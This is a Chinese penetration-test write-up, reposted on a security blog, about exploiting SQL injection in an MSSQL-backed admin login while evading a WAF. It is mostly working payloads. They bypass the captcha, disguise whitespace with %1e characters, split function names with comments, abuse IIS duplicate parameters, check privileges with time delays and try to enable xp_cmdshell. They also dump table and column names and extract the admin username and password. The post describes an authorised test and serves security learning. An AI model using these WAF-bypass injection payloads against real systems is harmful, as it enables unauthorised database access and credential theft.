记一次实战MSSQL注入绕过WAF

admin 2021年9月30日06:53:02评论207 views字数 2098阅读6分59秒阅读模式
本次测试为授权测试。注入点在后台登陆的用户名处
记一次实战MSSQL注入绕过WAF
存在验证码,可通过删除Cookie和验证码字段绕过验证
记一次实战MSSQL注入绕过WAF
记一次实战MSSQL注入绕过WAF
添加一个单引号,报错
记一次实战MSSQL注入绕过WAF
and '1'='1
连接重置——被WAF拦截
记一次实战MSSQL注入绕过WAF
改变大小写并将空格替换为MSSQL空白符[0x00-0x20]
%1eaNd%1e'1'='1
记一次实战MSSQL注入绕过WAF
查询数据库版本,MSSQL 2012 x64
%1eoR%1e1=@@version%1e--
记一次实战MSSQL注入绕过WAF
查询当前用户
%1eoR%1e1=user%1e--
记一次实战MSSQL注入绕过WAF
查询当前用户是否为dba和db_owner
;if(0=(SelEct%1eis_srvrolemember('sysadmin'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --
;if(0=(SelEct%1eis_srvrolemember('db_owner'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --
均出现延时,当前用户既不是dba也不是db_owner
记一次实战MSSQL注入绕过WAF
尝试执行xp_cmdsehll,没有相关权限
;eXeC%1esp_configure%1e'show advanced options',1;RECONFIGURE%1e --
;eXeC%1esp_configure%1e'xp_cmdshell',1;RECONFIGURE%1e --
记一次实战MSSQL注入绕过WAF
记一次实战MSSQL注入绕过WAF
查询当前数据库,连接重置——被WAF拦截
%1eoR%1e1=(db_name()%1e)%1e--
记一次实战MSSQL注入绕过WAF
去掉函数名的一个字符则正常返回——WAF过滤了函数db_name()。MSSQL和MSQL有一些相同的特性,比如:函数名和括号之前可用注释或空白符填充
%1eoR%1e1=(db_name/**/()%1e)%1e--
记一次实战MSSQL注入绕过WAF
记一次实战MSSQL注入绕过WAF
查询当前数据库的表,连接重置——被WAF拦截
%1eoR%1e1=(SelEct%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--
记一次实战MSSQL注入绕过WAF
删除select后面的语句,返回正常。在IIS+ASPX的环境里,如果同时提交多个同名参数,则服务端接收的参数的值为用逗号连接的多个值,在实际应用中可借助注释符注释掉逗号
%1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--
依然被拦截
记一次实战MSSQL注入绕过WAF
删除infOrmatiOn_sChema.tAbles的一个字符则返回正常——WAF过滤了infOrmatiOn_sChema.tAbles。以前在学习MYSQL注入时看到官方文档有这样一句话:"The qualifier character is a separate token and need not be contiguous with the associated identifiers." 可知限定符(例如'.')左右可插入空白符,而经过测试MSSQL具有相同的特性。infOrmatiOn_sChema.tAbles -> infOrmatiOn_sChema%0f.%0ftAbles
%1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema%0f.%0ftAbles%1e)%1e--
记一次实战MSSQL注入绕过WAF
可通过not in('table_1','table_2'...)的方式遍历表名
记一次实战MSSQL注入绕过WAF
手工注入使用这种方法太慢,一次性查询所有表名
%1eoR%1e1=(SelEct/*&username=*/%1equotename(name)%1efRom bak_ptfl%0f..sysobjects%1ewHerE%1extype='U' FOR XML PATH(''))%1e--
记一次实战MSSQL注入绕过WAF
根据表名判断管理员表应该为appsadmin,一次性查询该表的所有列
%1eoR%1e1=(SelEct/*&username=*/%1equotename/**/(name)%1efRom bak_ptfl%0f..syscolumns%1ewHerE%1eid=(selEct/*&username=*/%1eid%1efrom%1ebak_ptfl%0f..sysobjects%1ewHerE%1ename='appsadmin')%1efoR%1eXML%1ePATH/**/(''))%1e--&password=admin
记一次实战MSSQL注入绕过WAF
获得管理员用户名和密码字段:AdminName、Password。查询用户名和密码
%1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1eAdminName%1efRom%1eappsadmin%1e)%1e--
%1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1epassword%1efRom%1eappsadmin)%1e--
记一次实战MSSQL注入绕过WAF
记一次实战MSSQL注入绕过WAF
解密后成功登陆后台

记一次实战MSSQL注入绕过WAF

作者:kyrie403 ,转载于先知社区。
推荐阅读记一次实战MSSQL注入绕过WAF
觉得不错点个“赞”、“在看”,支持下小编记一次实战MSSQL注入绕过WAF

本文始发于微信公众号(乌雲安全):记一次实战MSSQL注入绕过WAF

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月30日06:53:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次实战MSSQL注入绕过WAFhttp://cn-sec.com/archives/391123.html

发表评论

匿名网友 填写信息